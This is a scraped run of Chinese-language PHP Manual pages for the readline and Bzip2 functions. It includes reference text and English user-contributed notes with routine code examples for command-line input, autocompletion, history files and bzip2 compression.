  • PHP Manual
  • Readline 函数
  • 清除历史

readline_clear_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_clear_history — 清除历史

说明

readline_clear_history(): bool

这个函数清除全部的命令行历史。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


注册完成函数

  • ? readline_clear_history
  • readline_info ?
  • PHP Manual
  • Readline 函数
  • 注册完成函数

readline_completion_function

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_completion_function — 注册完成函数

说明

readline_completion_function(callable $callback): bool

这个函数注册完成函数。这与在使用 Bash 时按下 Tab 键将获得的功能相同。

参数

callback

必须提供现有的函数名，该函数接受部分命令行并返回可能的匹配项数组。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

i dot a dot belousov dot 88 at gmail dot com 23-Oct-2023 04:06
If you want to use autocomplete also for history, you can make it like this:

readline_completion_function(function($input, $index) {
    $matches = [];

    foreach(readline_list_history() as $match)
        if (mb_strpos($match, readline_info("line_buffer")) !== false)
            $matches[] = mb_substr($match, $index);

    return (count($matches) > 1 && $index) ? [] : $matches;
});
cameron at cloudix dot co dot nz 16-Apr-2015 03:36
The readline extension can be a bit flakey due to bugs in libedit (PHP 5.3.10-1ubuntu3.15 with Suhosin-Patch (cli) (built: Oct 29 2014 12:19:04)).

I created many segfaults returning an empty array on the autocompletion function:

// Autocomplete
readline_completion_function(function($Input, $Index){

    global $Commands;

    // Filter Matches
    $Matches = array();
    foreach(array_keys($Commands) as $Command)
        if(stripos($Command, $Input) === 0)
            $Matches[] = $Command;

    return $Matches;
});

I found adding an empty string to the matches array prevents the segfault:

// Autocomplete
readline_completion_function(function($Input, $Index){

    global $Commands;

    // Filter Matches
    $Matches = array();
    foreach(array_keys($Commands) as $Command)
        if(stripos($Command, $Input) === 0)
            $Matches[] = $Command;

    // Prevent Segfault
    if($Matches == false)
        $Matches[] = '';

    return $Matches;
});

Hopefully this is helpful to someone.
chris AT w3style DOT co UK 28-Nov-2009 08:39
A little bit of info regarding useful variables when writing your callback function.

There doesn't seem to be a way to set rl_basic_word_break_characters like with the pure C library, so as previous users have pointed out you'll only receive the current word in the input buffer within your callback.  If for example you're typing "big bro|ther", where the bar is the position of your cursor when you hit TAB, you'll receive (string) "brother" and (int) 4 as your callback parameters.

However, it is possible (easily) to get more useful information about what the user has typed into the readline buffer.  readline_info() is key here.  It will return an array containing:

"line_buffer" => (string)
   the entire contents of the line buffer (+ some bugs**)

"point" => (int)
   the current position of the cursor in the buffer

"end" => (int)
   the position of the last character in the buffer

So for the example above you'd get:

  * line_buffer => "big brother"
  * point => 7
  * end => 11

From this you can easily perform multi-word matches.

** NOTE: line_buffer seems to contain spurious data at the end of the string sometime.  Fortunately since $end is provided you can substr() it to get the correct value.

The matches you need to return are full words that can replace $input, so your algorithm might crudely look something like:

<?php

function your_callback($input, $index) {
  // Get info about the current buffer
  $rl_info = readline_info();

  // Figure out what the entire input is
  $full_input = substr($rl_info['line_buffer'], 0, $rl_info['end']);

  $matches = array();

  // Get all matches based on the entire input buffer
  foreach (phrases_that_begin_with($full_input) as $phrase) {
    // Only add the end of the input (where this word begins)
    // to the matches array
    $matches[] = substr($phrase, $index);
  }

  return $matches;
}

?>
overshoot.tv 25-Jun-2009 12:07
Note: the first argument passed to the registered function is NOT the whole command line as entered by the user, but only the last part, i.e. the part after the last space.

e.g.:
<?php
function my_readline_completion_function($string, $index) {
  // If the user is typing:
  // mv file.txt directo[TAB]
  // then:
  // $string = directo
  // the $index is the place of the cursor in the line:
  // $index = 19;

  $array = array(
    'ls',
    'mv',
    'dar',
    'exit',
    'quit',
  );

  // Here, I decide not to return filename autocompletion for the first argument (0th argument).
  if ($index) {
    $ls = `ls`;
    $lines = explode("\n", $ls);
    foreach ($lines AS $key => $line) {
      if (is_dir($line)) {
        $lines[$key] .= '/';
      }
      $array[] = $lines[$key];
    }
  }
  // This will return both our list of functions, and, possibly, a list of files in the current filesystem.
 // php will filter itself according to what the user is typing.
  return $array;
}
?>
david at acz dot org 01-Feb-2005 12:08
This function can simply return an array of all possible matches (regardless of the current user intput) and readline will handle the matching itself.  This is likely to be much faster than attempting to handle partial matches in PHP.
john at weider dot cc 21-Sep-2002 09:32
It seems that the registered function can accept 2 parameters, the first being the partial string, the second a number that when equal to zero indicates that the tab was hit on the first argument on the input. Otherwise it looks like the position within the string is returned.

This is neccessary information for processing shell command line input.


获取/设置各种 readline 内部变量

  • ? readline_completion_function
  • readline_list_history ?
  • PHP Manual
  • Readline 函数
  • 获取/设置各种 readline 内部变量

readline_info

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_info — 获取/设置各种 readline 内部变量

说明

readline_info(?string $var_name = null, int|string|bool|null $value = null): mixed

获取/设置各种 readline 内部变量。

参数

var_name

变量名。

value

如果提供，将是设置的新值。

返回值

如果调用时没有参数，此函数将返回 readline 使用的所有设置的值组成的数组。元素将按照以下值进行索引 done、end、erase_empty_line、library_version、line_buffer、mark、pending_input、point、prompt、readline_name、和 terminal_name。 array 仅包含库用于编译 readline 扩展支持的元素。

如果使用一个或两个参数调用，则返回原来的值。

更新日志

版本 | 说明
8.0.0 | var_name 和 value 现在可为 null。

User Contributed Notes

There are no user contributed notes for this page.


获取历史

  • ? readline_info
  • readline_on_new_line ?
  • PHP Manual
  • Readline 函数
  • 获取历史

readline_list_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_list_history — 获取历史

说明

readline_list_history(): array

获取完整命令行历史。

参数

此函数没有参数。

返回值

返回完整命令行历史的数组。元素的索引为整数，从零开始。

User Contributed Notes

info () gaj ! design 16-Dec-2016 02:19
I just noticed that all readline functions are available with my php.exe (PHP 7, Cygwin) except for this one. It would be nice to have it so duplicate lines can be screened.

So to emulate it, I keep a working copy of the history in an array (yeah, extra code/data, but there are ways to keep the history from getting too large).

Loading is like:

<?php
    readline_read_history(HISTFILE);
    $hist = file(HISTFILE,FILE_IGNORE_NEW_LINES);
    array_shift($hist);
?>

Adding is like:

<?php
    if (!in_array($line,$hist)) {
        $hist[] = $line;
        readline_add_history($line);
    }
?>

(One may want to just check the last entry being the same.)
Anonymous 26-Jan-2011 06:17
Note this function is only available when PHP is compiled with libreadline, not if it is compiled with libedit.

<?php
if (function_exists('readline_list_history')) {
  $history = readline_list_history();
  // ...
} else {
  echo 'Not supported by the compiled library.'.PHP_EOL;
}
?>


通知 readline 将光标移动到新行

  • ? readline_list_history
  • readline_read_history ?
  • PHP Manual
  • Readline 函数
  • 通知 readline 将光标移动到新行

readline_on_new_line

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_on_new_line — 通知 readline 将光标移动到新行

说明

readline_on_new_line(): void

告诉 readline 将光标移动到新行。

参数

此函数没有参数。

返回值

没有返回值。

注释

Note:

此函数仅在底层 readline 库支持时可用。不支持 Windows。

User Contributed Notes

There are no user contributed notes for this page.


读取历史

  • ? readline_on_new_line
  • readline_redisplay ?
  • PHP Manual
  • Readline 函数
  • 读取历史

readline_read_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_read_history — 读取历史

说明

readline_read_history(?string $filename = null): bool

这个函数从文件中读取命令历史。

参数

filename

包含命令行历史的文件路径。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | filename 现在可为 null。

User Contributed Notes

Anonymous 26-Jan-2011 04:07
Note that the first line in the history file must contain the string: _HiStOrY_V2_

Else it wont work.


重绘显示区

  • ? readline_read_history
  • readline_write_history ?
  • PHP Manual
  • Readline 函数
  • 重绘显示区

readline_redisplay

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_redisplay — 重绘显示区

说明

readline_redisplay(): void

readline 重绘用于重绘显示区。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


写入历史记录

  • ? readline_redisplay
  • readline ?
  • PHP Manual
  • Readline 函数
  • 写入历史记录

readline_write_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_write_history — 写入历史记录

说明

readline_write_history(?string $filename = null): bool

这个函数将命令历史写入到文件。

参数

filename

保存文件的路径.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | filename 现在可为 null。

User Contributed Notes

jonathan dot gotti at free dot fr 27-Apr-2006 04:52
readline_write_history() doesn't take care of the $_SERVER['HISTSIZE'] value, here's an example on how to handle an history file in your apps taking care of user preferences regarding history size.

at the begining of your script:
<?php
$history_file = $_SERVER['HOME'].'/.PHPinteractive_history';
# read history from previous session
if(is_file($history_file))
  readline_read_history($history_file);
....
# your application's code
....
# put this at the end of yur script to save history and take care of $_SERVER['HISTSIZE']
if( readline_write_history($history_file) ){
  # clean history if too long
  $hist = readline_list_history();
  if( ($histsize = count($hist)) > $_SERVER['HISTSIZE'] ){
    $hist = array_slice($hist, $histsize - $_SERVER['HISTSIZE']);
    # in php5 you can replaces thoose line with a file_puts_content()
    if( $fhist = fopen($history_file,'w') ){
      fwrite($fhist,implode("\n",$hist));
      fclose($fhist);
    }
  }
}
?>


读取一行

  • ? readline_write_history
  • 压缩与归档扩展 ?
  • PHP Manual
  • Readline 函数
  • 读取一行

readline

(PHP 4, PHP 5, PHP 7, PHP 8)

readline — 读取一行

说明

readline(?string $prompt = null): string|false

从用户端读取一行。必须使用 readline_add_history() 将这一行添加到历史记录中。

参数

prompt

可以指定字符串来作为用户的提示信息。

返回值

从用户端返回单个字符串。返回的行将会移除行尾换行符。 如果没有更多数据可读，则返回 false。

示例

Example #1 readline() 示例

<?php
//get 3 commands from user
for ($i=0; $i < 3; $i++) {
$line = readline("Command: ");
readline_add_history($line);
}

//dump history
print_r(readline_list_history());

//dump variables
print_r(readline_info());
?>

User Contributed Notes

mfuhrman at enetarch dot net 06-Aug-2022 05:16
To stop auto complete , register an auto complete function that returns no matches to auto complete.

function dontAutoComplete ($input, $index)
{ return ([]); }

readline_completion_function ("dontAutoComplete");
mfuhrman at enetarch dot net 06-Aug-2022 04:39
<?
/*
 *
    I've noticed strange behavior from readline while using it for user input from a CLI.

    When I press multiple tabs it prints a scandir to the input stream.

    Below is the code:
*
*/

$msg = "";
while ($msg != "quit")
{
    while (($msg == "") || ($msg == "\r"))
        $msg = readline ("> ");
}
?>
divinity76 at gmail dot com 12-Jun-2022 10:40
<?php
/**
 * readline() with unicode support
 * php's builtin readline has dodgy unicode support, it only works
 * with the correct environment locale settings, it doesn't seem to work at Cygwin (strips ??????),
 * and it has historically had bugs like https://bugs.php.net/bug.php?id=81598
 * meanwhile this readline has consistent unicode support across all platforms (including Cygwin)
 * and doesn't care about locale settings.
 *
 * @param string $prompt
 * @return string|false
 */
function readline_with_unicode_support(?string $prompt = null)/*: string|false*/
{
    if ($prompt !== null && $prompt !== '') {
        echo $prompt;
    }
    $line = fgets(STDIN);
    // readline() removes the trailing newline, fgets() does not,
    // to emulate the real readline(), we also need to remove it
    if ($line !== false && strlen($line) >= strlen(PHP_EOL) && substr_compare($line, PHP_EOL, -strlen(PHP_EOL)) === 0) {
        $line = substr($line, 0, -strlen(PHP_EOL));
    }
    return $line;
}
divinity76+spam at gmail dot com 08-Jun-2022 02:03
for some reason readline() doesn't support unicode, readline STRIPS ?????? - for a readline function with unicode support, try
<?php
function readline_with_unicode_support(?string $prompt = null)/*: string|false*/
{
    if ($prompt !== null && $prompt !== '') {
        echo $prompt;
    }
    $line = fgets(STDIN);
    // readline() removes the trailing newline, fgets does not,
    // to emulate the real readline(), we also need to remove it
    if ($line !== false && strlen($line) >= strlen(PHP_EOL) && substr_compare($line, PHP_EOL, -strlen(PHP_EOL), strlen(PHP_EOL), true) === 0) {
        $line = substr($line, 0, -strlen(PHP_EOL));
    }
    return $line;
}
Antony Penn 10-Feb-2020 01:41
Christian's code works well, but if you want to be able to hide the user input and not echo it to screen, you need to add -s to the read command. The code below is an expanded function that allows an optional prompt and optional hiding of the input:

function read_password($prompt=null, $hide=false)
{
    if($prompt) print $prompt;
    $s = ($hide) ? '-s' : '';
    $f=popen("read $s; echo \$REPLY","r");
    $input=fgets($f,100);
    pclose($f);
    if($hide) print "\n";
    return $input;
}
thflori 22-Aug-2018 08:11
If you want to block remove previous text and wonder that an empty string does not work: the workaround is to use an space with cursor left:

<?php

echo "> ";
readline(" \e[D");

?>
Ixios 10-Aug-2018 10:47
Works under windows, and under php 7.2.0 :

$arr = [];

for ($i=0; $i < 3; $i++) {
        $arr[$i] = readline("Commande : ");
}

// Output
print_r($arr);

----------

Output:

Commande : 658
Commande : 965
Commande : 478
Array
(
    [0] => 658
    [1] => 965
    [2] => 478
)
Anonymous 18-Jun-2017 07:41
a few observations....

I use Cygwin PHP v7 and readline is available. The readline_list_history() function though is not defined.

A prompt with escape sequences are sanitized, so use something like:

<?php
    echo("\e[0m\e[34mPromt>\e[0m");
    $inp = readline(' ');
?>

I have not fully documented it, but I see that sometimes strings beginning with punctuation characters do not make it into the history with readline_add_history(). They also sometimes clear the prompt string.
turdsurfer 03-Mar-2017 12:07
If your CLI script accepts input from STDIN and you also want it to prompt for a password (e.g. as mysql client does), then readline() won't work for you.
What you need to do is read from the terminal device as shown below.

function readline_terminal($prompt = '') {
    $prompt && print $prompt;
    $terminal_device = '/dev/tty';
    $h = fopen($terminal_device, 'r');
    if ($h === false) {
        #throw new RuntimeException("Failed to open terminal device $terminal_device");
        return false; # probably not running in a terminal.
    }
    $line = rtrim(fgets($h),"\r\n");
    fclose($h);
    return $line;
}
$pass = readline_terminal('Password: ');
roddric dot kasen at gmail dot com 07-Mar-2016 03:57
<?php

class ConsoleQuestion
{

    function readline()
    {
        return rtrim(fgets(STDIN));
    }
}

//Example1
$line = new ConsoleQuestion();
$prompt = "What Is Your Name: ";
echo $prompt;
$answer = $line->readline();
echo "You Entered: " . $answer;

//Example2 (comment Ex1 then uncomment Ex2)
/*$prompt = "What Is Your Name: ";
echo $prompt;
$answer =  "You Entered: " . rtrim( fgets( STDIN ));
echo $answer;*/

?>
Anonymous 30-May-2011 08:51
The readline library is not available on Windows.

<?php
if (PHP_OS == 'WINNT') {
  echo '$ ';
  $line = stream_get_line(STDIN, 1024, PHP_EOL);
} else {
  $line = readline('$ ');
}
?>
sean 21-Jun-2009 02:00
I wanted a function that would timeout if readline was waiting too long... this works on php CLI on linux:

<?php

function readline_timeout($sec, $def)
{
    return trim(shell_exec('bash -c ' .
        escapeshellarg('phprlto=' .
            escapeshellarg($def) . ';' .
            'read -t ' . ((int)$sec) . ' phprlto;' .
            'echo "$phprlto"')));
}

?>

Just call readline_timeout(5, 'whatever') to either read something from stdin, or timeout in 5 seconds and default to 'whatever'.  I tried just using shell_exec without relying on bash -c, but that didn't work for me, so I had to go the round about way.
taneli at crasman dot fi 24-Mar-2009 12:21
If you want to prefill the prompt with something when using readline, this worked for me:

<?php
  function readline_callback($ret)
  {
    global $prompt_answer, $prompt_finished;
    $prompt_answer = $ret;
    $prompt_finished = TRUE;
    readline_callback_handler_remove();
  }

  readline_callback_handler_install('Enter some text> ',
                                    'readline_callback');

  $prefill = 'foobar';
  for ($i = 0; $i < strlen($prefill); $i++)
  {
    readline_info('pending_input', substr($prefill, $i, 1));
    readline_callback_read_char();
  }

  $prompt_finished = FALSE;
  $prompt_answer = FALSE;
  while (!$prompt_finished)
    readline_callback_read_char();
  echo 'You wrote: ' . $prompt_answer . "\n";
?>
rojaro at gmail dot com 31-Oct-2008 07:28
Note that readline() will return boolean "false" when the user presses CTRL+D.
soletan at toxa dot de 04-Sep-2006 05:44
To haukew at gmail dot com:

readline provides more features than reading a single line of input ... your example misses line editing and history. If you don't need that, use something as simple as this:

function readline( $prompt = '' )
{
    echo $prompt;
    return rtrim( fgets( STDIN ), "\n" );
}
christian at gaeking dot de 22-Jan-2004 10:01
A workaround if readline is not compiled into php, because for example the command is only needed within an installation routine. It works as follows under Linux:

$f=popen("read; echo \$REPLY","r");
$input=fgets($f,100);
pclose($f);
echo "Entered: $input\n";
cox at idecnet dot com 03-Feb-2002 08:06
In CGI mode be sure to call:

ob_implicit_flush(true);

at the top of your script if you want to be able to output data before and after the prompt.

-- Tomas V.V.Cox


压缩与归档扩展

  • Bzip2
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Bzip2 函数
  • LZF
    • 简介
    • 安装/配置
    • 预定义常量
    • LZF 函数
  • Phar
    • 简介
    • 安装/配置
    • 预定义常量
    • Using Phar Archives
    • Creating Phar Archives
    • What makes a phar a phar and not a tar or a zip?
    • Phar — The Phar class
    • PharData — The PharData class
    • PharFileInfo — The PharFileInfo class
    • PharException — The PharException class
  • Rar — Rar Archiving
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Rar 函数
    • RarArchive — The RarArchive class
    • RarEntry — The RarEntry class
    • RarException — The RarException class
  • Zip
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • ZipArchive — ZipArchive 类
    • Zip 函数
  • Zlib — Zlib Compression
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Zlib 函数
    • DeflateContext — The DeflateContext class
    • InflateContext — The InflateContext class

User Contributed Notes

There are no user contributed notes for this page.


Bzip2

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Bzip2 函数
    • bzclose — 关闭一个 bzip2 文件
    • bzcompress — 把一个字符串压缩成 bzip2 编码数据
    • bzdecompress — 解压经 bzip2 编码过的数据
    • bzerrno — 返回一个 bzip2 错误码
    • bzerror — 返回包含 bzip2 错误号和错误字符串的一个 array
    • bzerrstr — 返回一个 bzip2 的错误字符串
    • bzflush — 什么都不做
    • bzopen — 打开 bzip2 压缩文件
    • bzread — bzip2 文件二进制安全地读取
    • bzwrite — 二进制安全地写入 bzip2 文件

User Contributed Notes

There are no user contributed notes for this page.


简介

bzip2 函数用于透明地读写 bzip2（.bz2）压缩文件。

User Contributed Notes

There are no user contributed notes for this page.


需求

本模块使用了 Julian Seward 的 » bzip2 库中的函数。本模块需要 bzip2/libbzip2 版本 >= 1.0.x。

User Contributed Notes

There are no user contributed notes for this page.


安装

PHP 的 Bzip2 支持默认未打开。编译 PHP 时需要 --with-bz2[=DIR] 配置选项来激活 bzip2 支持。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

本扩展定义了一种资源类型：用于识别和操作 bz2 文件的指针。

User Contributed Notes

There are no user contributed notes for this page.


示例

该范例打开一个临时文件并写入了一个测试字符串，然后输出该文件里的内容。

Example #1 bzip2 小例子

<?php

$filename = "/tmp/testfile.bz2";
$str = "This is a test string.\n";

// 打开一个文件用于写入
$bz = bzopen($filename, "w");

// 写入字符串到文件
bzwrite($bz, $str);

// 关闭文件
bzclose($bz);

// 打开文件用于读取
$bz = bzopen($filename, "r");

// 读取 10 个字符
echo bzread($bz, 10);

// 输出直到文件末尾（或者后面的 1024 个字符），并关闭。
echo bzread($bz);

bzclose($bz);

?>

User Contributed Notes

There are no user contributed notes for this page.


Bzip2 函数

Table of Contents

  • bzclose — 关闭一个 bzip2 文件
  • bzcompress — 把一个字符串压缩成 bzip2 编码数据
  • bzdecompress — 解压经 bzip2 编码过的数据
  • bzerrno — 返回一个 bzip2 错误码
  • bzerror — 返回包含 bzip2 错误号和错误字符串的一个 array
  • bzerrstr — 返回一个 bzip2 的错误字符串
  • bzflush — 什么都不做
  • bzopen — 打开 bzip2 压缩文件
  • bzread — bzip2 文件二进制安全地读取
  • bzwrite — 二进制安全地写入 bzip2 文件

User Contributed Notes

salsi at icosaedro dot it 01-Jan-2016 06:22
<?php
/*
 * Reading a BZIP2 file can be tricky, and I never seen a complete example of
 * code that account for any possible failure that may happen accessing a file
 * in general, and decoding compressed data in this specific case.
 * The example that follows is my attempt to address this gap.
 * Some things that worth noting are:
 * - Encoding/decoding errors must be detected with bzerrno().
 * - bzopen() may fail returning FALSE if the file cannot be created or read,
 *   but succeeds also if the file is not properly encoded.
 * - bzread() may fail returning FALSE if it fails reading from the source, but
 *   it returns the empty string on end of file and on encoding error.
 * - bzread() may still return corrupted data with no error whatsoever until the
 *   BZIP2 algo encounters the first hash code, so data retrieved cannot be
 *   trusted until the very end of the file has been reached.
 */

// Safety first:
error_reporting(-1);
// On error, set $php_errormsg:
ini_set("track_errors", "1");

/**
 * Reads and displays on stdout the content of a BZIP2 compressed file with
 * full error detection.
 * @param string $fn Filename.
 * @return void
 */
function displaysBZIP2File($fn)
{
    echo "Reading $fn:\n";
    $bz = @bzopen($fn, "r");
    if( $bz === FALSE ){
        echo "ERROR: bzopen() failed: $php_errormsg\n";
        return;
    }
    $errno = bzerrno($bz);
    if( $errno != 0 ){
        // May detect "DATA_ERROR_MAGIC" (not a BZIP2 file), or "DATA_ERROR"
        // (BZIP2 decoding error) and maybe others BZIP2 errors too.
        echo "ERROR: bzopen(): BZIP2 decoding failed: ", bzerrstr($bz), "\n";
        @bzclose($bz);
        return;
    }
    while(! feof($bz) ) {
        $s = bzread($bz, 100);
        if( $s === FALSE ){
            echo "ERROR: bzread() failed: $php_errormsg\n";
            @bzclose($bz);
            return;
        }
        $errno = bzerrno($bz);
        if( $errno != 0 ){
            // May detect "DATA_ERROR" (BZIP2 decoding error) and maybe others
            // BZIP2 errors too.
            echo "ERROR: bzread(): BZIP2 decoding failed: ", bzerrstr($bz), "\n";
            @bzclose($bz);
            return;
        }
        echo "read: ", var_export($s, true), "\n";
    }
    if( ! bzclose($bz) ){
        echo "ERROR: bzclose() failed: $php_errormsg\n";
    }
}

// Target file:
$fn = "test.bz2";

// Test 1: writes and read a good BZIP2 file:
file_put_contents($fn, bzcompress("Content of the file."));
displaysBZIP2File($fn); // works ok.

// Test 2: invalid content, not a BZIP2 file:
file_put_contents($fn, "This ia plain text file, no compression at all!");
displaysBZIP2File($fn); // ERROR: bzread(): BZIP2 decoding failed: DATA_ERROR_MAGIC

// Test 3: creates a corrupted BZIP2 file:
$plain = str_repeat("Quite random string. ", 1000);
$compressed = bzcompress($plain);
$compressed_corrupted = $compressed;
$compressed_corrupted[(int)(strlen($compressed)/2)] = 'X'; // put random char in middle
file_put_contents($fn, $compressed_corrupted);
displaysBZIP2File($fn);
// Only after some Kbytes of garbage, it tells:
// ERROR: bzread(): BZIP2 decoding failed: DATA_ERROR

// Safe coding against headache, ever.
?>
ec10 at gmx dot net 20-May-2004 11:34
<?php
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc compressing the file with the bzip2-extension
*/
function bzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    $out_file = bzopen ($out, "wb");

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
         bzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    bzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the bzip2-extension
*/
function bunzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = bzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while ($buffer = bzread ($in_file, 4096)) {
        fwrite ($out_file, $buffer, 4096);
    }

    bzclose ($in_file);
    fclose ($out_file);

    return true;
}
?>


关闭一个 bzip2 文件

  • ? Bzip2 函数
  • bzcompress ?
  • PHP Manual
  • Bzip2 函数
  • 关闭一个 bzip2 文件

bzclose

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzclose — 关闭一个 bzip2 文件

说明

bzclose(resource $bz): bool

关闭给出的 bzip2 文件指针。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • bzopen() - 打开 bzip2 压缩文件

User Contributed Notes

There are no user contributed notes for this page.


把一个字符串压缩成 bzip2 编码数据

  • ? bzclose
  • bzdecompress ?
  • PHP Manual
  • Bzip2 函数
  • 把一个字符串压缩成 bzip2 编码数据

bzcompress

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzcompress — 把一个字符串压缩成 bzip2 编码数据

说明

bzcompress(string $data, int $block_size = 4, int $work_factor = 0): string|int

bzcompress() 压缩了指定的字符串并以 bzip2 编码返回数据。

参数

data

待压缩的字符串。

block_size

指定压缩时使用的块大小，应该是一个 1-9 的数字。9 可以有最高的压缩比，但会使用更多的资源。

work_factor

控制压缩阶段出现最坏的重复性高的情况下输入数据时的行为。 该值可以是在 0 至 250 之间，0是一个特殊的情况。

无论 work_factor是什么，产生的输出都是一致的。

返回值

压缩后的字符串，或者在出现错误时返回错误号。

示例

Example #1 压缩数据

<?php
$str = "sample data";
$bzstr = bzcompress($str, 9);
echo $bzstr;
?>

参见

  • bzdecompress() - 解压经 bzip2 编码过的数据

User Contributed Notes

uprz23 at gmail dot com 24-Jun-2010 12:52
Comparing gzcompress/gzuncompress and bzcompress/bzdecompress, the bz combo is about 5x slower than gz.
diego a messenger do dsemmler do de 24-Apr-2009 03:01
The blocksize parameter tells bzip to use 100 000 Byte * blocksize blocks to compress the string. In the example above we can see the output size and time needed of bz[2] to bz[9] are nearly the same, because there ware just 189 058 Byte of data to compress and in this case bz[2] to bz[9] means "compress all data et once".
So we may notice a bigger difference in speed and compression rate with bigger files.

the workfactor parameter sets, how fast bzip switches in the slower fallback algorithm, if the standard algorithm gets problems with much repetitive data. 0 means, bzip uses the default value of 30. This option is recommend.

For more information about the parameter look at http://www.bzip.org/1.0.3/html/low-level.html#bzcompress-init


解压经 bzip2 编码过的数据

  • ? bzcompress
  • bzerrno ?
  • PHP Manual
  • Bzip2 函数
  • 解压经 bzip2 编码过的数据

bzdecompress

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzdecompress — 解压经 bzip2 编码过的数据

说明

bzdecompress(string $data, bool $use_less_memory = false): string|int|false

bzdecompress() 解压了包含 bzip2 压缩数据的指定字符串。

参数

data

要解压的字符串。

use_less_memory

如果为 true，将会使用一种内存开销更小的替代算法（最大内存需求降低至大约 2300K）但速度会降低约一半。

寻找该功能的更多信息可参见 » bzip2 文档。

返回值

返回解压后的字符串或者 false，如果发生了一个错误则返回一个错误码。

更新日志

版本 | 说明
8.0.0 | use_less_memory 的类型从 int 变为 bool。 之前默认值为 0。

示例

Example #1 解压一个字符串

<?php
$start_str = "This is not an honest face?";
$bzstr = bzcompress($start_str);

echo "Compressed String: ";
echo $bzstr;
echo "\n<br />\n";

$str = bzdecompress($bzstr);
echo "Decompressed String: ";
echo $str;
echo "\n<br />\n";
?>

参见

  • bzcompress() - 把一个字符串压缩成 bzip2 编码数据

User Contributed Notes

balint * atres / ath / cx 10-Jan-2006 05:02
I spent a while to sort out some integer results of the bzdecompress, so maybe it'll be useful for somebody else also...
(Constants from the sources.)

#define BZ_OK                0
#define BZ_RUN_OK            1
#define BZ_FLUSH_OK          2
#define BZ_FINISH_OK         3
#define BZ_STREAM_END        4
#define BZ_SEQUENCE_ERROR    (-1)
#define BZ_PARAM_ERROR       (-2)
#define BZ_MEM_ERROR         (-3)
#define BZ_DATA_ERROR        (-4)
#define BZ_DATA_ERROR_MAGIC  (-5)
#define BZ_IO_ERROR          (-6)
#define BZ_UNEXPECTED_EOF    (-7)
#define BZ_OUTBUFF_FULL      (-8)
#define BZ_CONFIG_ERROR      (-9)


返回一个 bzip2 错误码

  • ? bzdecompress
  • bzerror ?
  • PHP Manual
  • Bzip2 函数
  • 返回一个 bzip2 错误码

bzerrno

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerrno — 返回一个 bzip2 错误码

说明

bzerrno(resource $bz): int

返回指定文件指针任意返回的 bzip2 错误的错误码。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

返回值

返回 integer 的错误码。

参见

  • bzerror() - 返回包含 bzip2 错误号和错误字符串的一个 array
  • bzerrstr() - 返回一个 bzip2 的错误字符串

User Contributed Notes

There are no user contributed notes for this page.


返回包含 bzip2 错误号和错误字符串的一个 array

  • ? bzerrno
  • bzerrstr ?
  • PHP Manual
  • Bzip2 函数
  • 返回包含 bzip2 错误号和错误字符串的一个 array

bzerror

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerror — 返回包含 bzip2 错误号和错误字符串的一个 array

说明

bzerror(resource $bz): array

返回文件指针中返回的 bzip2 错误的错误号和错误字符串。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

返回值

返回一个关联数组，包含错误码于 errno 条目， 以及错误信息于 errstr 条目。

示例

Example #1 bzerror() 范例

<?php
$error = bzerror($bz);

echo $error["errno"];
echo $error["errstr"];
?>

参见

  • bzerrno() - 返回一个 bzip2 错误码
  • bzerrstr() - 返回一个 bzip2 的错误字符串

User Contributed Notes

There are no user contributed notes for this page.


返回一个 bzip2 的错误字符串

  • ? bzerror
  • bzflush ?
  • PHP Manual
  • Bzip2 函数
  • 返回一个 bzip2 的错误字符串

bzerrstr

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerrstr — 返回一个 bzip2 的错误字符串

说明

bzerrstr(resource $bz): string

获取指定文件指针中返回 bzip2 任何错误的错误字符串。

参数

bz

文件指针。它必须是有效的并且指向 bzopen() 成功打开的文件。

返回值

返回包含错误信息的 string。

参见

  • bzerrno() - 返回一个 bzip2 错误码
  • bzerror() - 返回包含 bzip2 错误号和错误字符串的一个 array

User Contributed Notes

There are no user contributed notes for this page.


什么都不做

  • ? bzerrstr
  • bzopen ?
  • PHP Manual
